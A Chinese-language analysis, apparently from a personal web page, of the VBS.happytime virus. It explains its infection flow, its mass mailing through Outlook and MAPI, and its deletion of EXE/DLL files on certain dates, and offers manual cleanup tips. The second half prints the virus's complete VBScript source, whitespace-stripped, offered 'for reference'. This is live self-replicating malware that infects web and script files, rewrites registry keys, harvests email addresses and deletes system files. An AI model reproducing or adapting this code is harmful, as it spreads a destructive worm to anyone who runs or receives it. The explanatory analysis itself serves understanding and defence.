VBS.happytime

VBS.happytime病毒简介

VBS.happytime是一个感染 VBS、html 和脚本文件的脚本类病毒。该病毒采用 VBScript 语言编写，它既可在电子邮件的形式通过互联网进行传播，也可以在本地通过文件进行感染。 当用浏览器打开一个被感染的 html 文件时，病毒会设置网页的时间中断事件，每 10 秒运行执行 Help.vbs 一次，该文件存放在 C: 盘下第一个子目录下。如果通过 hta文件激活病毒，病毒还会在 C: 盘下第一个子目录下生成 Help.hta 文件并执行。

VBS.happytime病毒危害程度很大，可以破坏 html、htm、htt、vbs 和 asp 文件的内容(被修改成病毒代码)；大量散发病毒邮件， 破坏 Windows 资源管理器中缺省的 Web 视图等。

这种病毒是用VBSCRIPT语言编写的，其第一行写着Iamsorry,happytime.(意为对不起您了，欢乐时光。真是气死人不偿命！恶作剧的混蛋口说"Sorry"祝人"欢乐"？！)本人不懂VBSCRIPT语言，但曾学过VISUALBASIC，再翻了一些VBSCRIPT的资料，一番临时抱佛脚后，开始解读病毒源程序。由于缺乏相应资料加之本人水平有限，不能读懂每一行代码，只能看出个大概，但我越分析越心惊，这是个仅浏览网站页面就会感染的高传染性，高破坏性的病毒！

先看一下此病毒的发病机制：

首次染毒时，会将WINDOWSWEB文件夹里的所有网页文件染上病毒，并找出这些文件中的任何EMAIL地址向它们发送病毒邮件，对方只要一打开即会染毒；

以后每隔十秒钟发作一次，但发作完后仍驻留在内存，十秒一次的发作，再大的内存也会给蚕食殆尽；

每次发作时，在普通的日子里，会找出一个后缀名为HTML、HTM、VBS、ASP的文件传染（别小看了每次一个文件，它可是十秒一次的发作哟！），并查出此文件中所有的EMAIL地址发送病毒邮件，在月份加天数为13的"特殊"日子里（1月12日、2月11日......12月1日），它每次发作会找出一个后缀名为EXE、DLL的文件（通常为重要的系统文件）来删除，使你的电脑彻底瘫痪；

该病毒在WINDOWS注册表内保存已发作的次数，每次发作时它检查已发作次数，如其是366的倍数，则向外乱发病毒邮件：如系统时间的秒数是偶数，则发送系统邮件，如是奇数，则到OUTLOOK的默任目录里取得EMAIL地址发送病毒邮件。

顺便说一句，由于此病毒发作频繁且乱发EMAIL，到月底结帐时，你可能要多付一大笔冤枉钱。

现在我们来看看这可恶的病毒的结构，看它是如何使得我们在浏览网页时即染毒的。

前面提到过，该病毒是用VBSCRIPT语言写成的，翻了一些资料，才知道VBSCRIPT是一种能增强网页功能的脚本语言，它嵌入HTML文件中，你浏览网页时，它也与HTML文件一起调入内存，由浏览器解释并执行。所以在你看到网页时，它其中所含的VBSCRIPT代码（如果有的话）已被执行，这样就很容易被心怀叵测者用来编制破坏程序。VBSCRIPT的设计者们也考虑到了这点，因此VBSCRIPT被设计成VISUALBASIC的简化版，舍弃了一些"危险的"语句命令，所以VBSCRIPT是"安全的"，可用于网页的编制。确实光是VBSCRIPT的话确实无甚威胁，可是VBSCRIPT提供了创建并使用对象（OBJECT）功能，而WINDOWS提供大量对象给各种语言使用，利用这些对象你几乎能干任何事！比如说本病毒的许多破坏工作就是由创建并使用WSCRIPT（WINDOWSSCRIPT即WINDOWS脚本语言）对象来完成的，所以可以这样说：VBSCRIPT是不安全的，是危险的！欢乐时光病毒就是个最有力的见证！

言归正传，我们还是来看看病毒的结构。

初始化部分

初始化（建立SCRIPTLET.TYPELIB对象等）

↓

当前是HTML状态？

是↙↘否

━━━━━━━━━━━━━

↓↓

在WINDOWS目录下有HELP.VBS文件吗？运行主发作程序

↓

有↙↘无

━━━━━━━━━━

↓（3）↓（1）

设置为每10秒钟调用一次将本文件中的病毒代码以HTML格式存为

HELP.VBSWINDOWS目录下的HELP.HTA文件，并调用HELP.HTA。

结束结束

主发作程序

↓

建立含有HTML，VBS，HTM，ASP的后缀名表

当前是HELP.VBS运行状态？

（4）是↙↘否（2）

━━━━━━━━━━━━━

↓↓

如月+天为13则将后缀名表改为用本病毒代码在WINDOWS目录下创

只包含EXE，DLL；建HELP.VBS文件，及UNTITLE.HTM

文件；

将注册表中的HKEY_CURRENT_USER

SoftwareHelpCount病毒发作计数加1；修改HKEY_CURRENT_USERIdentities

用户标识号SoftwareMicrosoft

lookExpress5.0Mail下的键值：

SoftwareHelpFile_Name待感染文件名MessageSendHTML改为1

取出，并按后缀名表找出下一待感染文件，ComposeUseStationery改为1

存于此处；StationeryName改为指向untitle.htm

查出其中的EMAIL地址发送病毒邮件；在WINDOWSWEB目录下查找HTML，VBS，

HTM，ASP，HTT文件，在它们末尾如待

感染文件名是EXE，DLL文件则删除！

末尾添加本病毒代码，并查出其中的

EMAIL地址发送病毒邮件

用本病毒代码在WINDOWS目录下创建一个HTM文件并将其文件名写入HKEY_CURRENT_USERSoftwareHelpWallpaper及HKEY_CURRENT_USERControlPaneldesktopwallPaper

以上流程基本解释了其发病机制，现在我对流程上（）内的数字作一下说明：

刚开始接触本病毒时，我们一定是处于浏览含病毒的网页状态，也即是流程上的HTML状态，且此时硬盘上尚未有HELP.VBS病毒文件，所以病毒执行（1）分支，建立HELP.HTA病毒文件，并调用它。然后在HELP.HTA病毒文件运行时，此时它已不处于HTML状态，所以运行主发作程序，在主发作程序中，由于此时不是HELP.VBS运行状态所以运行（2）分支并建立HELP.VBS病毒文件，以后再遇见本病毒时，由于已有了HELP.VBS病毒文件，就执行（3）分支，设定为每10秒钟执行一次HELP.VBS，而HELP.VBS会执行主发作程序的（4）分支，完成一系列破坏任务。

听说现在已有了能杀此病毒的软件，具体我也不清楚。如你像我一样已不幸染毒，在得到杀毒软件前，首先应注意在"特殊"日子里不要开机，以免爱机成为死机；另外从流程可看出，本病毒只感染后缀名为HTM，HTML，VBS，ASP（以及WINDOWSWEB下的HTT文件），所以你开机只至WINDOWS桌面出现都是安全的，把桌面的墙纸设为无，再次重新启动，注意不要使用我的电脑或是WINDOWS资源管理器，因为它们每次运行都要装入许多文件，极有可能激活病毒，你要处理文档最好进入DOS状态，在DOS下操作；注意不要看任何帮助信息，因为很多帮助文件都是HTML格式的。如你是编程好手，你可编个程序，检查硬盘中所有受感染后缀名为HTM，HTML，VBS，ASP的文件，并清除病毒，如你不会编程，又无杀毒软件，你只能用查找功能查出所有后缀名为HTM，HTML，VBS，ASP的文件，然后一一手工操作：重命名为TXT文件，打开检查，如文件尾有病毒则删除，保存后再改回原来的文件名，然后是下一个.......

但我们还要上网，还要浏览，即使我们有了能杀欢乐时光病毒的软件，谁能保证哪个家伙不会再写出诸如此类的病毒使我们受害？看来只有等微软出个能禁止VBSCRIPT，JAVASCRIPT，ACTIVEX........的浏览器来了。就我个人而言，情愿不要任何特效，只要安全。

最后，奉上欢乐时光病毒的源程序，供有兴趣者参考，如哪位高人能参透此程序，也请发表解析结果，让我们对次类病毒有更深认识。

我对源程序作了必要的缩进处理，以方便阅读。

欢乐时光病毒的源程序：

RemIamsorry!happytime

OnErrorResumeNext

mload

Submload()

OnErrorResumeNext

mPath=Grf()

SetOs=CreateObject("Scriptlet.TypeLib")

SetOh=CreateObject("Shell.Application")

IfIsHTMLThen

mURL=LCase(document.Location)

IfmPath=""Then

Os.Reset

Os.Path="C:Help.htm"

Os.Doc=Lhtml()

Os.Write()

Ihtml=""

Calldocument.Body.insertAdjacentHTML("AfterBegin",Ihtml)

Else

IfIv(mPath,"Help.vbs")Then

setInterval"Rt()",10000

Else

m="hta"

IfLCase(m)=Right(mURL,Len(m))Then

id=setTimeout("mclose()",1)

main

Else

Os.Reset()

Os.Path=mPath&""&"Help.hta"

Os.Doc=Lhtml()

Os.write()

IvmPath,"Help.hta"

EndIf

EndIf

EndIf

Else

main

EndIf

EndSub

Submain()

OnErrorResumeNext

SetOf=CreateObject("Scripting.FileSystemObject")

SetOd=CreateObject("Scripting.Dictionary")

Od.Add"html","1100"

Od.Add"vbs","0100"

Od.Add"htm","1100"

Od.Add"asp","0010"

Ks="HKEY_CURRENT_USERSoftware"

Ds=Grf()

Cs=Gsf()

IfIsVbsThen

IfOf.FileExists("C:help.htm")Then

Of.DeleteFile("C:help.htm")

EndIf

Key=CInt(Month(Date)+Day(Date))

IfKey=13Then

Od.RemoveAll

Od.Add"exe","0001"

Od.Add"dll","0001"

EndIf

Cn=Rg(Ks&"HelpCount")

IfCn=""Then

Cn=1

EndIf

RwKs&"HelpCount",Cn+1

f1=Rg(Ks&"HelpFileName")

f2=FNext(Of,Od,f1)

fext=GetExt(Of,Od,f2)

RwKs&"HelpFileName",f2

IfIsDel(fext)Then

f3=f2

f2=FNext(Of,Od,f2)

RwKs&"HelpFileName",f2

Of.DeleteFilef3

Else

IfLCase(WScript.ScriptFullname)<>LCase(f2)Then

FwOf,f2,fext

EndIf

EndIf

If(CInt(Cn)Mod366)=0Then

If(CInt(Second(Time))Mod2)=0Then

Tsend

Else

adds=Og

Msend(adds)

EndIf

EndIf

wp=Rg("HKEY_CURRENT_USERControlPaneldesktopwallPaper")

IfRg(Ks&"HelpwallPaper")<>wpOrwp=""Then

Ifwp=""Then

n1=""

n3=Cs&"Help.htm"

Else

mP=Of.GetFile(wp).ParentFolder

n1=Of.GetFileName(wp)

n2=Of.GetBaseName(wp)

n3=Cs&""&n2&".htm"

EndIf

Setpfc=Of.CreateTextFile(n3,True)

mt=Sa("1100")

pfc.Write"<"&"HTML><"&"bodybgcolor=''#007f7f''background=''"&n1&"''><"&"/Body><"&"/HTML>"&mt

pfc.Close

RwKs&"HelpwallPaper",n3

Rw"HKEY_CURRENT_USERControlPaneldesktopwallPaper",n3

EndIf

Else

Setfc=Of.CreateTextFile(Ds&"Help.vbs",True)

fc.WriteSa("0100")

fc.Close

bf=Cs&"Untitled.htm"

Setfc2=Of.CreateTextFile(bf,True)

fc2.WriteLhtml

fc2.Close

oeid=Rg("HKEY_CURRENT_USERIdentitiesDefaultUserID")

oe="HKEY_CURRENT_USERIdentities"&oeid&"SoftwareMicrosoftOutlookExpress5.0Mail"

MSH=oe&"MessageSendHTML"

CUS=oe&"ComposeUseStationery"

SN=oe&"StationeryName"

RwMSH,1

RwCUS,1

RwSN,bf

Web=Cs&"WEB"

Setgf=Of.GetFolder(Web).Files

Od.Add"htt","1100"

ForEachmIngf

fext=GetExt(Of,Od,m)

Iffext<>""Then

FwOf,m,fext

EndIf

Next

EndIf

EndSub

Submclose()

document.Write"<"&"title>Iamsorry!"

window.Close

EndSub

SubRt()

DimmPath

OnErrorResumeNext

mPath=Grf()

IvmPath,"Help.vbs"

EndSub

FunctionSa(n)

DimVBSText,m

VBSText=Lvbs()

IfMid(n,3,1)=1Then

m=""

EndIf

IfMid(n,2,1)=1Then

m=VBSText

EndIf

IfMid(n,1,1)=1Then

m=Lscript(m)

EndIf

Sa=m&vbCrLf

EndFunction

SubFw(Of,S,n)

Dimfc,fc2,m,mmail,mt

OnErrorResumeNext

Setfc=Of.OpenTextFile(S,1)

mt=fc.ReadAll

fc.Close

IfNotSc(mt)Then

mmail=Ml(mt)

mt=Sa(n)

Setfc2=Of.OpenTextFile(S,8)

fc2.Writemt

fc2.Close

Msend(mmail)

EndIf

EndSub

FunctionSc(S)

mN="RemIamsorry!happytime"

IfInStr(S,mN)>0Then

Sc=True

Else

Sc=False

EndIf

EndFunction

FunctionFNext(Of,Od,S)

Dimfpath,fname,fext,T,gf

OnErrorResumeNext

fname=""

T=False

IfOf.FileExists(S)Then

fpath=Of.GetFile(S).ParentFolder

fname=S

ElseIfOf.FolderExists(S)Then

fpath=S

T=True

Else

fpath=Dnext(Of,"")

EndIf

DoWhileTrue

Setgf=Of.GetFolder(fpath).Files

ForEachmIngf

IfTThen

IfGetExt(Of,Od,m)<>""Then

FNext=m

ExitFunction

EndIf

ElseIfLCase(m)=LCase(fname)Orfname=""Then

T=True

EndIf

Next

fpath=Pnext(Of,fpath)

Loop

EndFunction

FunctionPnext(Of,S)

OnErrorResumeNext

DimPpath,Npath,gp,pn,T,m

T=False

IfOf.FolderExists(S)Then

Setgp=Of.GetFolder(S).SubFolders

pn=gp.Count

Ifpn=0Then

Ppath=LCase(S)

Npath=LCase(Of.GetParentFolderName(S))

T=True

Else

Npath=LCase(S)

EndIf

DoWhileNotEr

ForEachpnInOf.GetFolder(Npath).SubFolders

IfTThen

IfPpath=LCase(pn)Then

T=False

EndIf

Else

Pnext=LCase(pn)

ExitFunction

EndIf

Next

T=True

Ppath=LCase(Npath)

Npath=Of.GetParentFolderName(Npath)

IfOf.GetFolder(Ppath).IsRootFolderThen

m=Of.GetDriveName(Ppath)

Pnext=Dnext(Of,m)

ExitFunction

EndIf

Loop

EndIf

EndFunction

FunctionDnext(Of,S)

Dimdc,n,d,T,m

OnErrorResumeNext

T=False

m=""

Setdc=Of.Drives

ForEachdIndc

Ifd.DriveType=2Ord.DriveType=3Then

IfTThen

Dnext=d

ExitFunction

Else

IfLCase(S)=LCase(d)Then

T=True

EndIf

Ifm=""Then

m=d

EndIf

EndIf

EndIf

Next

Dnext=m

EndFunction

FunctionGetExt(Of,Od,S)

Dimfext

OnErrorResumeNext

fext=LCase(Of.GetExtensionName(S))

GetExt=Od.Item(fext)

EndFunction

SubRw(k,v)

DimR

OnErrorResumeNext

SetR=CreateObject("WScript.Shell")

R.RegWritek,v

EndSub

FunctionRg(v)

DimR

OnErrorResumeNext

SetR=CreateObject("WScript.Shell")

Rg=R.RegRead(v)

EndFunction

FunctionIsVbs()

DimErrTest

OnErrorResumeNext

ErrTest=WScript.ScriptFullname

IfErrThen

IsVbs=False

Else

IsVbs=True

EndIf

EndFunction

FunctionIsHTML()

DimErrTest

OnErrorResumeNext

ErrTest=document.Location

IfErThen

IsHTML=False

Else

IsHTML=True

EndIf

EndFunction

FunctionIsMail(S)

Dimm1,m2

IsMail=False

IfInStr(S,vbCrLf)=0Then

m1=InStr(S,"@")

m2=InStr(S,".")

Ifm1<>0Andm1<m2Then

IsMail=True

EndIf

EndIf

EndFunction

FunctionLvbs()

Dimf,m,ws,Of

OnErrorResumeNext

IfIsVbsThen

SetOf=CreateObject("Scripting.FileSystemObject")

Setf=Of.OpenTextFile(WScript.ScriptFullname,1)

Lvbs=f.ReadAll

Else

ForEachwsIndocument.scripts

IfLCase(ws.Language)="vbscript"Then

IfSc(ws.Text)Then

Lvbs=ws.Text

ExitFunction

EndIf

EndIf

Next

EndIf

EndFunction

FunctionIv(mPath,mName)

DimShell

OnErrorResumeNext

SetShell=CreateObject("Shell.Application")

Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb

IfErThen

Iv=False

Else

Iv=True

EndIf

EndFunction

FunctionGrf()

DimShell,mPath

OnErrorResumeNext

SetShell=CreateObject("Shell.Application")

mPath="C:"

ForEachmShellInShell.NameSpace(mPath).Items

IfmShell.IsFolderThen

Grf=mShell.Path

ExitFunction

EndIf

Next

IfErThen

Grf=""

EndIf

EndFunction

FunctionGsf()

DimOf,m

OnErrorResumeNext

SetOf=CreateObject("Scripting.FileSystemObject")

m=Of.GetSpecialFolder(0)

IfErThen

Gsf="C:"

Else

Gsf=m

EndIf

EndFunction

FunctionLhtml()

Lhtml="<"&"HTML"&">"&vbCrLf&_

"<"&"Title>Help<"&"/HEAD>"&vbCrLf&_

"<"&"Body>"&Lscript(Lvbs())&vbCrLf&_

"<"&"/Body>"

EndFunction

FunctionLscript(S)

Lscript="<"&"scriptlanguage=''VBScript''>"&vbCrLf&_

S&"<"&"/script"&">"

EndFunction

FunctionSl(S1,S2,n)

Diml1,l2,l3,i

l1=Len(S1)

l2=Len(S2)

i=InStr(S1,S2)

Ifi>0Then

l3=i+l2-1

Ifn=0Then

Sl=Left(S1,i-1)

ElseIfn=1Then

Sl=Right(S1,l1-l3)

EndIf

Else

Sl=""

EndIf

EndFunction

FunctionMl(S)

DimS1,S3,S2,T,adds,m

S1=S

S3=""""

adds=""

S2=S3&"mailto"&":"

T=True

DoWhileT

S1=Sl(S1,S2,1)

IfS1=""Then

T=False

Else

m=Sl(S1,S3,0)

IfIsMail(m)Then

adds=adds&m&vbCrLf

EndIf

EndIf

Loop

Ml=Split(adds,vbCrLf)

EndFunction

FunctionOg()

Dimi,n,m(),Om,Oo

SetOo=CreateObject("Outlook.Application")

SetOm=Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items

n=Om.Count

ReDimm(n)

Fori=1Ton

m(i-1)=Om.Item(i).Email1Address

Next

Og=m

EndFunction

SubTsend()

DimOd,MS,MM,a,m

SetOd=CreateObject("Scripting.Dictionary")

MConnectMS,MM

MM.FetchSorted=True

MM.Fetch

Fori=0ToMM.MsgCount-1

MM.MsgIndex=i

a=MM.MsgOrigAddress

IfOd.Item(a)=""Then

Od.Item(a)=MM.MsgSubject

EndIf

Next

ForEachmInOd.Keys

MM.Compose

MM.MsgSubject="Fw:"&Od.Item(m)

MM.RecipAddress=m

MM.AttachmentPathName=Gsf&"Untitled.htm"

MM.Send

Next

MS.SignOff

EndSub

FunctionMConnect(MS,MM)

DimU

OnErrorResumeNext

SetMS=CreateObject("MSMAPI.MAPISession")

SetMM=CreateObject("MSMAPI.MAPIMessages")

U=Rg("HKEY_CURRENT_USERSoftwareMicrosoftWindowsMessagingSubsystemProfilesDefaultProfile")

MS.UserName=U

MS.DownLoadMail=False

MS.NewSession=False

MS.LogonUI=True

MS.SignOn

MM.SessionID=MS.SessionID

EndFunction

SubMsend(Address)

DimMS,MM,i,a

MConnectMS,MM

i=0

MM.Compose

ForEachaInAddress

IfIsMail(a)Then

MM.RecipIndex=i

MM.RecipAddress=a

i=i+1

EndIf

Next

MM.MsgSubject="Help"

MM.AttachmentPathName=Gsf&"Untitled.htm"

MM.Send

MS.SignOff

EndSub

FunctionEr()

IfErr.Number=0Then

Er=False

Else

Err.Clear

Er=True

EndIf

EndFunction

FunctionIsDel(S)

IfMid(S,4,1)=1Then

IsDel=True

Else

IsDel=False

EndIf

EndFunction